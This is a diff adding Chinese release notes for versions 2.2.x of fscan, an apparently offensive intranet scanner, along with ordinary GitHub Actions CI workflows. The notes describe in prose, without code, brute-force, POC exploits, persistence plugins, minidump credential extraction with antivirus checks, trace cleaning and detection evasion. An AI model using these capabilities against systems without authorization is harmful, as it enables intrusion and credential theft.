- **`-pwd` 不支持逗号分隔多个密码** — 现在 `-pwd "123,456,root"` 正确拆分
|
||||||
|
- **`-nobr` 跳过了 Redis 未授权检测** — 未授权是服务探测不是爆破,不受 `-nobr` 影响
|
||||||
|
- **非终端输出时 ANSI 控制码覆盖扫描结果** — 管道/重定向时自动禁用进度条和颜色
|
||||||
|
- **静默模式 NDJSON banner 过长** — Redis INFO ~5KB 截断至 200 字符
|
||||||
|
- **CSV 漏洞 Type 列为空** — 补全 `type` 字段
|
||||||
|
- **SNMP 探测成功但终端无输出** — 补充 `session.LogVuln` 调用
|
||||||
|
|
||||||
|
#### 其他
|
||||||
|
|
||||||
|
- **service_probe 连接丢失后静默成功** — `Write`/`Read` 在 `Conn=nil` 时返回明确错误
|
||||||
|
- **MongoDB readMongoMsg 未设置读超时**
|
||||||
|
- **TXTWriter.Close Sync 失败后未关闭文件**
|
||||||
|
- **MySQL 3306 服务名误识别为 genetec-5400** — nmap 指纹库误匹配,通过 banner 特征校正
|
||||||
|
- **gmtls stdout 竞态** — 移除 `os.Stdout` 非同步重定向
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### 🏗️ 架构优化
|
||||||
|
|
||||||
|
- **统一服务缓存** — `webServiceCache` 扩展为通用 `serviceCache`,下沉到 per-session State,消除多实例缓存串台
|
||||||
|
- **CEL 表达式编译缓存** — 同一 POC 的所有规则共享编译后的 Program
|
||||||
|
- **POC 全局状态消除** — `allPocs` 全局变量改为 `pocStore` 按 PocPath 缓存,并发场景不再互相覆盖
|
||||||
|
- **进度条竞态修复** — `isActive` 改为 `atomic.Bool`
|
||||||
|
- **Lint 全量修复** — cassandra/ipmi/mongodb/webscan 的 ineffassign、unused、errcheck
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 反馈与贡献
|
||||||
|
|
||||||
|
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||||
|
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||||
|
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||||
|
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
# fscan v2.2.0-rc
|
||||||
|
|
||||||
|
> ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。
|
||||||
|
> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。
|
||||||
|
> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 与 v2.1.3 的主要变更
|
||||||
|
|
||||||
|
### 🏗️ 架构升级:嵌入式 Scanner SDK
|
||||||
|
|
||||||
|
新增 `pkg/fscan` 包,fscan 从纯 CLI 工具进化为**可嵌入的扫描引擎**。
|
||||||
|
|
||||||
|
- 支持从其他 Go 程序直接调用 fscan 扫描能力
|
||||||
|
- 每个 Scanner 实例拥有独立的 config/state/session
|
||||||
|
- 支持多实例并发扫描,日志和结果完全隔离
|
||||||
|
- 全局状态已完整迁移到 session 实例
|
||||||
|
|
||||||
|
### 🚀 大规模扫描支持
|
||||||
|
|
||||||
|
- **流式 Host Iterator** — /8 级别 CIDR 不再一次性展开到内存
|
||||||
|
- **移除 MaxHosts 硬限制** — 大网段不再被静默截断
|
||||||
|
- **ARM 原子计数器对齐** — 修复 32 位 ARM 平台 panic
|
||||||
|
|
||||||
|
### 🔌 新增协议插件(+9)
|
||||||
|
|
||||||
|
| 插件 | 用途 |
|
||||||
|
|------|------|
|
||||||
|
| IMAP / POP3 | 邮件服务器检测 |
|
||||||
|
| JDWP | Java Debug 端口检测 |
|
||||||
|
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||||
|
| IPMI | 服务器带外管理 |
|
||||||
|
| SNMP (UDP) | 网络设备管理 |
|
||||||
|
| DNS / BACnet / Modbus | DNS 服务 / 工控协议 |
|
||||||
|
|
||||||
|
全部为**原生协议实现**,零外部依赖。
|
||||||
|
|
||||||
|
### ⚡ 性能与体积优化
|
||||||
|
|
||||||
|
- Kafka/MongoDB/Cassandra 从重型客户端库改为 raw TCP 实现,**二进制体积减小**
|
||||||
|
- 热路径零分配、自适应连接池 CAS 无锁化
|
||||||
|
- Scanner 客户端指纹收敛(降低被检测概率)
|
||||||
|
|
||||||
|
### 🌐 网络能力增强
|
||||||
|
|
||||||
|
- **SOCKS5 代理认证**支持(用户名/密码)
|
||||||
|
- **国密 TLS**(SM2/SM3/SM4)网站扫描
|
||||||
|
- 支持 `-add-password` 追加多个自定义密码
|
||||||
|
|
||||||
|
### 🔧 本地后渗透插件
|
||||||
|
|
||||||
|
- 新增 sshkey、4 种持久化插件(crontask/systemd/winregistry/winschtask)
|
||||||
|
- minidump 降级链凭据提取 + 杀软前置检测
|
||||||
|
- cleaner 清理所有持久化痕迹
|
||||||
|
- systeminfo 整合合并(fileinfo/dcinfo/avdetect/envinfo)
|
||||||
|
|
||||||
|
### 📦 工程改进
|
||||||
|
|
||||||
|
- 目录重命名:`WebScan/` → `webscan/`、`mylib/` → `libs/`
|
||||||
|
- i18n 覆盖扩展(中/英双语)
|
||||||
|
- 全量 lint/errcheck 修复
|
||||||
|
- 补充大量单元测试
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ 已知问题 / 注意事项
|
||||||
|
|
||||||
|
| 问题 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) |
|
||||||
|
| CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) |
|
||||||
|
| 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 |
|
||||||
|
| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 |
|
||||||
|
| `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 反馈与贡献
|
||||||
|
|
||||||
|
这是一个 RC 版本,我们非常需要你的反馈:
|
||||||
|
|
||||||
|
- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml)
|
||||||
|
- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml)
|
||||||
|
- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml)
|
||||||
|
- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 版本说明
|
||||||
|
|
||||||
|
| 版本 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||||
|
| **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) |
|
||||||
|
| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) |
|
||||||
|
|
||||||
|
## 平台支持
|
||||||
|
|
||||||
|
| 平台 | 架构 |
|
||||||
|
|------|------|
|
||||||
|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||||
|
| Windows | x64, x32 |
|
||||||
|
| macOS | x64 (Intel), arm64 (Apple Silicon) |
|
||||||
|
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||||
|
| Solaris | X64n |
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
# fscan v2.2.0
|
||||||
|
|
||||||
|
v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Issue 反馈整理发布。
|
||||||
|
|
||||||
|
本版本重点提升大规模扫描稳定性、POC 扫描可靠性、非标准端口服务识别、插件隔离和嵌入式 SDK 能力。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 重点变化
|
||||||
|
|
||||||
|
### 嵌入式 Scanner SDK
|
||||||
|
|
||||||
|
新增 `pkg/fscan`,fscan 从纯 CLI 工具扩展为可嵌入的 Go 扫描引擎:
|
||||||
|
|
||||||
|
- 支持在 Go 程序内直接调用扫描能力
|
||||||
|
- Scanner 实例拥有独立 `config` / `state` / `session`
|
||||||
|
- 全局状态迁移到 session,改善多实例并发隔离
|
||||||
|
- 补充 SDK 结果转换、配置校验和并发扫描测试
|
||||||
|
|
||||||
|
### 大规模扫描稳定性
|
||||||
|
|
||||||
|
- 新增流式 Host Iterator,大 CIDR 不再一次性展开到内存
|
||||||
|
- 移除 MaxHosts 硬限制,大网段不再被静默截断
|
||||||
|
- 新增自适应并发调度,基于 RTT、丢包率、fd limit 自动推导扫描参数
|
||||||
|
- 线程池升级为 AIMD + 慢启动,遇到资源耗尽时自动降速
|
||||||
|
- `-gt` 全局超时正式生效,超时后会取消扫描任务
|
||||||
|
- 新增 `-nsp`,可禁用网段预筛
|
||||||
|
|
||||||
|
### 服务识别与插件调度
|
||||||
|
|
||||||
|
- 修复非标准端口服务无法匹配插件的问题
|
||||||
|
- 新增服务缓存和指纹驱动插件匹配
|
||||||
|
- `-full` 模式下 Web 插件可覆盖所有开放端口
|
||||||
|
- 不确定服务增加 HTTP 回退探测
|
||||||
|
- 移除误导性的“无可用插件”日志
|
||||||
|
- 用户指定 `-p` 时 UDP 插件按端口交集正确调度
|
||||||
|
|
||||||
|
### Web / POC 扫描
|
||||||
|
|
||||||
|
- 修复默认扫描 POC 结果缺失
|
||||||
|
- 修复 `-hf` 批量扫描时 POC 缺失
|
||||||
|
- 修复 HTTPS 端口误用 HTTP 扫描 POC
|
||||||
|
- 修复 POC 结果文件只显示 `vulnerable` 不显示漏洞名称
|
||||||
|
- POC 加载按 `pocpath` 隔离缓存,多 session 不再互相覆盖
|
||||||
|
- 修复 CEL、reverseCheck、正则缓存等稳定性问题
|
||||||
|
- `-nopoc` 禁用 POC 时不再输出误导性错误日志
|
||||||
|
|
||||||
|
### 新增协议插件
|
||||||
|
|
||||||
|
新增多种原生协议插件,覆盖邮件、Java 调试、文件共享、带外管理、UDP 和工控场景:
|
||||||
|
|
||||||
|
| 插件 | 用途 |
|
||||||
|
|------|------|
|
||||||
|
| IMAP / POP3 | 邮件服务器检测 |
|
||||||
|
| JDWP | Java Debug 端口检测 |
|
||||||
|
| NFS / RMI | 文件共享 / Java 远程调用 |
|
||||||
|
| IPMI | 服务器带外管理 |
|
||||||
|
| SNMP / DNS / BACnet / Modbus | 网络设备、DNS、工控协议检测 |
|
||||||
|
|
||||||
|
### Web 版
|
||||||
|
|
||||||
|
- 拆分 CLI / Web 入口
|
||||||
|
- Web 版结果存储改为 SQLite 持久化
|
||||||
|
- Web API 版本号改为动态读取
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bug 修复摘要
|
||||||
|
|
||||||
|
- 修复 #586 默认扫描 POC 结果缺失
|
||||||
|
- 修复 #587 `-hf` 批量扫描 POC 缺失
|
||||||
|
- 修复 #588 非标准端口服务插件匹配问题
|
||||||
|
- 修复 #590 Telnet Cisco MOTD 横幅误判 shell prompt
|
||||||
|
- 修复 #591 HTTPS POC 协议错误与结果名称缺失
|
||||||
|
- 修复 #592 service probe 空指针 panic
|
||||||
|
- 修复 #593 `-ehf` 排除主机未生效,支持 IP / CIDR / range
|
||||||
|
- 修复 UDP 插件阻塞导致扫描无法结束
|
||||||
|
- 修复 SSH goroutine 泄漏和握手 deadline 问题
|
||||||
|
- 修复 Redis exploit 超时和非超时错误处理
|
||||||
|
- 修复 MongoDB SCRAM、Cassandra、Oracle 等协议问题
|
||||||
|
- 修复 SOCKS5 代理认证、LM:NT hash、逗号分隔密码等参数问题
|
||||||
|
- 修复非终端输出 ANSI 控制码覆盖结果
|
||||||
|
- 修复 CSV / NDJSON / TXT 输出若干字段问题
|
||||||
|
- 修复 ARM 32 位原子计数器对齐问题
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 升级注意
|
||||||
|
|
||||||
|
- WebUI 仍建议视为实验性能力
|
||||||
|
- 本地后渗透插件仅用于授权环境
|
||||||
|
- v2.2.0 改动较大,建议从 v2.1.3 升级的用户先在测试环境验证扫描参数
|
||||||
|
- 如依赖旧版本输出格式,请重点检查 POC、SERVICE、VULN 结果字段
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 版本说明
|
||||||
|
|
||||||
|
| 版本 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||||
|
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||||
|
| **fscan-web** | WebUI 版,带 Web 管理界面(主流平台) |
|
||||||
|
|
||||||
|
## 平台支持
|
||||||
|
|
||||||
|
| 平台 | 架构 |
|
||||||
|
|------|------|
|
||||||
|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
|
||||||
|
| Windows | x64, x32 |
|
||||||
|
| macOS | x64, arm64 |
|
||||||
|
| FreeBSD | x64, x32, arm64, armv5/6/7 |
|
||||||
|
| Solaris | x64 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 校验
|
||||||
|
|
||||||
|
本版本已通过:
|
||||||
|
|
||||||
|
- `go test ./...`
|
||||||
|
- 近期 Issue 回归验证
|
||||||
|
- 本地 HTTP / HTTPS POC 扫描验证
|
||||||
|
- `-hf` 批量 POC 扫描验证
|
||||||
|
- `-ehf` IP / CIDR 排除验证
|
||||||
|
|
||||||
|
完整变更记录见:
|
||||||
|
|
||||||
|
https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
# fscan v2.2.1
|
||||||
|
|
||||||
|
v2.2.1 是 v2.2 系列的稳定性修复版本,重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常,并扩充常见内网产品的 POC 覆盖。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 重点变化
|
||||||
|
|
||||||
|
### 扫描稳定性
|
||||||
|
|
||||||
|
- 默认不再启用全局扫描超时,避免大网段或弱网络环境下扫描被整体提前终止
|
||||||
|
- `-gt` 仍可用于显式设置全局超时;嵌入式 SDK 同样支持按需配置
|
||||||
|
- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题
|
||||||
|
- 扫描异常退出时正常执行结果清理和落盘,避免主结果为空及 `.realtime.tmp` 残留
|
||||||
|
|
||||||
|
### 服务识别与协议插件
|
||||||
|
|
||||||
|
- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题
|
||||||
|
- Telnet 未授权结果增加真实命令执行验证,降低提示符误报
|
||||||
|
- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行
|
||||||
|
- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic
|
||||||
|
- 通用 SSL/TLS 指纹不再直接判定为 Web 服务,减少 MQTT TLS 等非 HTTP 服务的握手报错
|
||||||
|
|
||||||
|
### POC 覆盖
|
||||||
|
|
||||||
|
新增 100 个经过整理的内网常见产品 POC,覆盖:
|
||||||
|
|
||||||
|
- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空
|
||||||
|
- H3C、海康威视、锐捷、深信服、契约锁、帆软
|
||||||
|
- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等
|
||||||
|
|
||||||
|
同时补充第三方来源说明,并为新增 POC 增加加载测试。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 已解决 Issue
|
||||||
|
|
||||||
|
- #596 Telnet 未授权误报
|
||||||
|
- #598 高并发下开放端口漏扫
|
||||||
|
- #599 `-nobr` 未阻止 VNC 密码尝试
|
||||||
|
- #600 TLS 服务扫描报错、结果文件为空及临时文件残留
|
||||||
|
- #601 SSH 服务端口无法识别
|
||||||
|
- #603 RDP Fast-Path nil pointer panic
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 升级说明
|
||||||
|
|
||||||
|
- 从 v2.2.0 可直接升级
|
||||||
|
- 如需限制整个扫描任务的最长运行时间,请显式传入 `-gt <秒数>`
|
||||||
|
- POC 仅用于已获授权的安全测试环境
|
||||||
|
|
||||||
|
## 校验
|
||||||
|
|
||||||
|
本版本已通过:
|
||||||
|
|
||||||
|
- `go test ./...`
|
||||||
|
- GitHub Actions 测试构建
|
||||||
|
- GoReleaser 全平台 snapshot 构建
|
||||||
|
- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试
|
||||||
|
|
||||||
|
完整变更记录:
|
||||||
|
|
||||||
|
https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
name: Project 自动化
|
||||||
|
|
||||||
|
on:
|
||||||
|
issues:
|
||||||
|
types: [opened, closed, reopened]
|
||||||
|
|
||||||
|
env:
|
||||||
|
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||||
|
add-to-project:
|
||||||
|
if: github.event.action == 'opened'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Add to project
|
||||||
|
uses: actions/[email protected]
|
||||||
|
id: add
|
||||||
|
with:
|
||||||
|
project-url: ${{ env.PROJECT_URL }}
|
||||||
|
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set status to 要搞
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
gh project item-edit \
|
||||||
|
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||||
|
--id ${{ steps.add.outputs.itemId }} \
|
||||||
|
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||||
|
--single-select-option-id f75ad846
|
||||||
|
|
||||||
|
# Issue/PR 关闭时状态设为"搞定"
|
||||||
|
close-item:
|
||||||
|
if: github.event.action == 'closed'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Get item ID
|
||||||
|
id: get-item
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||||
|
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||||
|
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Set status to 搞定
|
||||||
|
if: steps.get-item.outputs.item_id != ''
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
gh project item-edit \
|
||||||
|
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||||
|
--id ${{ steps.get-item.outputs.item_id }} \
|
||||||
|
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||||
|
--single-select-option-id 98236657
|
||||||
|
|
||||||
|
# Issue/PR 重新打开时状态设为"在搞"
|
||||||
|
reopen-item:
|
||||||
|
if: github.event.action == 'reopened'
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Get item ID
|
||||||
|
id: get-item
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||||
|
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||||
|
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Set status to 在搞
|
||||||
|
if: steps.get-item.outputs.item_id != ''
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
gh project item-edit \
|
||||||
|
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||||
|
--id ${{ steps.get-item.outputs.item_id }} \
|
||||||
|
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||||
|
--single-select-option-id 47fc9ee4
|
||||||
@@ -0,0 +1,149 @@
|
|||||||
|
name: 发布
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
tags:
|
||||||
|
- 'v*'
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
snapshot:
|
||||||
|
description: '仅测试构建(不发布)'
|
||||||
|
type: boolean
|
||||||
|
default: false
|
||||||
|
draft:
|
||||||
|
description: '创建草稿发布'
|
||||||
|
type: boolean
|
||||||
|
default: false
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: write
|
||||||
|
|
||||||
|
env:
|
||||||
|
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
auto-tag:
|
||||||
|
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 5
|
||||||
|
outputs:
|
||||||
|
tag: ${{ steps.version.outputs.tag }}
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
|
||||||
|
- name: 读取版本号
|
||||||
|
id: version
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
VERSION=$(sed -n 's/^[[:space:]]*version = "\(.*\)"/\1/p' common/globals.go)
|
||||||
|
if [ -z "$VERSION" ]; then
|
||||||
|
echo "❌ 无法从 common/globals.go 读取版本号"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
TAG="v${VERSION}"
|
||||||
|
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "准备发布 ${TAG}"
|
||||||
|
|
||||||
|
- name: 创建发布标签
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
TAG="${{ steps.version.outputs.tag }}"
|
||||||
|
|
||||||
|
if git ls-remote --exit-code --tags origin "refs/tags/${TAG}" >/tmp/tag-ref 2>/dev/null; then
|
||||||
|
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||||
|
TAG_COMMIT=$(git rev-list -n 1 "${TAG}")
|
||||||
|
HEAD_COMMIT=$(git rev-parse HEAD)
|
||||||
|
if [ "$TAG_COMMIT" = "$HEAD_COMMIT" ]; then
|
||||||
|
echo "✅ ${TAG} 已指向当前提交,跳过创建"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
echo "❌ ${TAG} 已存在,但不指向当前提交"
|
||||||
|
echo "tag: ${TAG_COMMIT}"
|
||||||
|
echo "head: ${HEAD_COMMIT}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
git config user.name "github-actions[bot]"
|
||||||
|
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
|
||||||
|
git tag -a "${TAG}" -m "Release ${TAG}"
|
||||||
|
git push origin "${TAG}"
|
||||||
|
|
||||||
|
release:
|
||||||
|
needs: [auto-tag]
|
||||||
|
if: ${{ always() && (startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.auto-tag.result == 'success')) }}
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 90
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
|
||||||
|
- name: 解析发布标签
|
||||||
|
id: release_tag
|
||||||
|
shell: bash
|
||||||
|
env:
|
||||||
|
AUTO_TAG: ${{ needs.auto-tag.outputs.tag }}
|
||||||
|
SNAPSHOT: ${{ inputs.snapshot }}
|
||||||
|
run: |
|
||||||
|
if [[ "${GITHUB_REF}" == refs/tags/* ]]; then
|
||||||
|
TAG="${GITHUB_REF_NAME}"
|
||||||
|
elif [ "${GITHUB_EVENT_NAME}" = "push" ] && [ "${GITHUB_REF}" = "refs/heads/main" ]; then
|
||||||
|
TAG="${AUTO_TAG}"
|
||||||
|
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
|
||||||
|
elif [ "${GITHUB_EVENT_NAME}" = "workflow_dispatch" ] && [ "${SNAPSHOT}" = "true" ]; then
|
||||||
|
TAG="${GITHUB_REF_NAME}"
|
||||||
|
else
|
||||||
|
echo "❌ 非 snapshot 手动发布必须从 tag 触发"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "RELEASE_TAG=${TAG}" >> "$GITHUB_ENV"
|
||||||
|
|
||||||
|
- name: 准备 Release Notes
|
||||||
|
if: ${{ !inputs.snapshot }}
|
||||||
|
run: |
|
||||||
|
TAG="${RELEASE_TAG}"
|
||||||
|
NOTES_FILE=".github/release-notes/${TAG}.md"
|
||||||
|
|
||||||
|
if [ -f "$NOTES_FILE" ]; then
|
||||||
|
echo "📝 找到版本 Release Notes: $NOTES_FILE"
|
||||||
|
cp "$NOTES_FILE" /tmp/release-notes.md
|
||||||
|
else
|
||||||
|
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
|
||||||
|
echo "" > /tmp/release-notes.md
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
|
||||||
|
|
||||||
|
- name: 构建和发布
|
||||||
|
uses: ./.github/actions/build-release
|
||||||
|
with:
|
||||||
|
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||||
|
go-version: '1.25'
|
||||||
|
retention-days: '90'
|
||||||
|
release-args: ${{ inputs.draft && '--draft' || '' }}
|
||||||
|
|
||||||
|
- name: 更新 Release Notes
|
||||||
|
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ github.token }}
|
||||||
|
run: |
|
||||||
|
TAG="${RELEASE_TAG}"
|
||||||
|
NOTES_FILE="${RELEASE_NOTES_FILE}"
|
||||||
|
|
||||||
|
if [ -s "$NOTES_FILE" ]; then
|
||||||
|
echo "📝 更新 Release Notes..."
|
||||||
|
# 用版本特定的 notes 替换 goreleaser 生成的 body
|
||||||
|
gh release edit "$TAG" --notes-file "$NOTES_FILE"
|
||||||
|
echo "✅ Release Notes 已更新"
|
||||||
|
fi
|
||||||
@@ -0,0 +1,192 @@
|
|||||||
|
name: 测试构建
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
- dev
|
||||||
|
- dev-*
|
||||||
|
- develop
|
||||||
|
- feature/*
|
||||||
|
paths-ignore:
|
||||||
|
- '*.md'
|
||||||
|
- '*.txt'
|
||||||
|
- 'README*'
|
||||||
|
- 'LICENSE*'
|
||||||
|
- 'image/**'
|
||||||
|
- 'TestDocker/**'
|
||||||
|
- '**/*.png'
|
||||||
|
- '**/*.jpg'
|
||||||
|
- '**/*.jpeg'
|
||||||
|
pull_request:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
- master
|
||||||
|
- dev
|
||||||
|
paths-ignore:
|
||||||
|
- '*.md'
|
||||||
|
- '*.txt'
|
||||||
|
- 'README*'
|
||||||
|
- 'LICENSE*'
|
||||||
|
- 'image/**'
|
||||||
|
- 'TestDocker/**'
|
||||||
|
- '**/*.png'
|
||||||
|
- '**/*.jpg'
|
||||||
|
- '**/*.jpeg'
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
env:
|
||||||
|
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
lint:
|
||||||
|
name: 代码检查
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: 检出代码
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: 设置 Go 环境
|
||||||
|
uses: actions/setup-go@v5
|
||||||
|
with:
|
||||||
|
go-version: '1.25'
|
||||||
|
cache: true
|
||||||
|
|
||||||
|
- name: 运行 golangci-lint
|
||||||
|
run: |
|
||||||
|
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
|
||||||
|
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||||
|
|
||||||
|
# 运行检查
|
||||||
|
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
|
||||||
|
cat lint_output.txt
|
||||||
|
|
||||||
|
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI)
|
||||||
|
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
|
||||||
|
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
|
